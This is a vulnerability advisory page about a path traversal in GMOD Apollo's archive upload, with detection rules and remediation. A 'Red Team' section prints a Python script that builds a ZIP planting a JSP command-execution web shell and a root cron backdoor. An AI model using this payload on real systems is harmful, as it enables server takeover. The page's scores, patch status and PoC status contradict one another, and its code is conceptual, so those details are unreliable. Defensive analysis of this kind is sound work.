☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-23410

CVE-2025-23410 Path Traversal in Gmod
📅 PUBLISHED: 2025-03-04 23:58 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v2.8.0 — source: icscert. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.66%
👁️
0.66% probability
16.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-23410 is a path traversal vulnerability in GMOD Apollo, a genome annotation web application. The flaw exists in the file upload functionality for organism or sequence data. When a user uploads a supported archive (e.g., ZIP, tar), the application unzips and inspects the files without validating the extracted paths. An attacker can craft an archive containing files with path traversal sequences (e.g., ../) to write files outside the intended upload directory, potentially leading to arbitrary file write, code execution, or system compromise. No CVSS score, EPSS data, or public exploit code is available at this time. The vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. GMOD Apollo is a Java-based web application typically deployed via WAR files or Docker containers. The risk is primarily to self-hosted instances.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

  • Attack Vector (AV): Network (N) – The upload interface is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – An authenticated user with upload permissions is needed.
  • User Interaction (UI): None (N) – No additional user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the web application itself.
  • Confidentiality (C): High (H) – Arbitrary file read/write possible.
  • Integrity (I): High (H) – Files can be overwritten.
  • Availability (A): High (H) – Could lead to denial of service or system compromise.

Estimated CVSS Score: 8.8 (High)

Threat Level: High – Exploitation could lead to remote code execution or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the file upload handler for organism and sequence data. GMOD Apollo uses Java’s ZipInputStream or similar to extract archives. The code likely iterates over entries and writes them to a directory without sanitizing the entry name. An attacker can create a ZIP file with entries like ../../etc/cron.d/malicious to write a cron job, or ../../webapps/ROOT/shell.jsp to deploy a web shell.

Root Cause: Lack of path traversal validation in archive extraction logic.

Attack Flow:

  1. Attacker logs into GMOD Apollo (requires valid credentials).
  2. Attacker navigates to the organism/sequence upload page.
  3. Attacker uploads a crafted archive (ZIP, tar, etc.) containing path traversal entries.
  4. The application extracts the archive, writing files to attacker-controlled paths.
  5. Attacker achieves arbitrary file write, potentially leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java):

public void handleUpload(MultipartFile file) {
    ZipInputStream zis = new ZipInputStream(file.getInputStream());
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        String entryName = entry.getName();
        File outputFile = new File(uploadDir, entryName); // No sanitization
        // Write file to outputFile
    }
}

Patched Code (Conceptual):

public void handleUpload(MultipartFile file) {
    ZipInputStream zis = new ZipInputStream(file.getInputStream());
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        String entryName = entry.getName();
        // Sanitize: remove path traversal sequences
        entryName = entryName.replace("../", "").replace("..\\", "");
        File outputFile = new File(uploadDir, entryName);
        // Ensure file is within uploadDir
        if (!outputFile.getCanonicalPath().startsWith(uploadDir.getCanonicalPath())) {
            throw new SecurityException("Path traversal detected");
        }
        // Write file to outputFile
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to a GMOD Apollo instance with upload permissions.
  • Python 3 with zipfile module.

Step 1: Craft Malicious Archive

import zipfile
import os

# Create a ZIP file with path traversal
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    # Write a web shell to the web root (example for Tomcat)
    zf.writestr('../../webapps/ROOT/shell.jsp', '<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>')
    # Write a cron job
    zf.writestr('../../etc/cron.d/malicious', '* * * * * root /tmp/backdoor.sh\n')

Step 2: Upload Archive

  • Log in to GMOD Apollo.
  • Navigate to the organism/sequence upload page.
  • Upload exploit.zip.

Step 3: Trigger Execution

  • Access the web shell: http://target/apollo/shell.jsp?cmd=id
  • Or wait for cron job execution.

Blue Team (Defender)

Detection:

  • Monitor file system for unexpected files in sensitive directories (e.g., /etc/cron.d/, /webapps/).
  • Alert on archive uploads containing path traversal patterns in entry names.
  • Use the YARA and Sigma rules below.

Prevention:

  • Apply input validation on archive entry names.
  • Use a sandbox or container with restricted file system access.
  • Implement strict file permissions on upload directories.

Indicators of Compromise (IOCs)

  • File System Artifacts:
    • Unexpected files in /etc/cron.d/, /tmp/, or web application directories.
    • Files named with path traversal patterns (e.g., ..%2F..%2F).
  • Network Traffic:
    • POST requests to /apollo/upload with large archive payloads.
    • Subsequent requests to suspicious endpoints (e.g., shell.jsp).
  • Logs:
    • Application logs showing extraction of entries with ../ in names.
    • System logs showing cron job execution from unexpected sources.

Detection Engineering

YARA Rule

rule CVE_2025_23410_Path_Traversal_Archive {
    meta:
        description = "Detects archives with path traversal entries targeting GMOD Apollo"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23410"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "..%2F"
        $traversal4 = "..%5C"
    condition:
        (uint32(0) == 0x04034b50 or uint32(0) == 0x02014b50) and // ZIP magic
        any of ($traversal*)
}

Sigma Rule

title: CVE-2025-23410 Path Traversal in GMOD Apollo Upload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects archive uploads with path traversal patterns in GMOD Apollo
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: apollo
detection:
    selection:
        EventID: 1000  # Example: file upload event
        FileName|contains: 
            - '../'
            - '..\\'
            - '..%2F'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in archives (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23410 GMOD Apollo Path Traversal Upload"; flow:to_server; content:"POST"; http_method; content:"/apollo/upload"; http_uri; content:"../"; within:1000; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the upload functionality if not required.
    • Restrict upload permissions to trusted users only.
    • Implement a Web Application Firewall (WAF) rule to block path traversal patterns in uploads.
  2. Vendor Patch:

    • Monitor GMOD Apollo releases for a security patch.
    • Apply the patch as soon as it becomes available.
  3. Code Fix:

    • Sanitize archive entry names by removing path traversal sequences.
    • Validate that extracted files reside within the intended directory using canonical path checks.
  4. Long-term:

    • Conduct a security audit of all file upload and extraction functionality.
    • Use a secure library for archive extraction that automatically prevents path traversal (e.g., Apache Commons Compress with ZipFile and ZipEntry validation).

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-23410/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.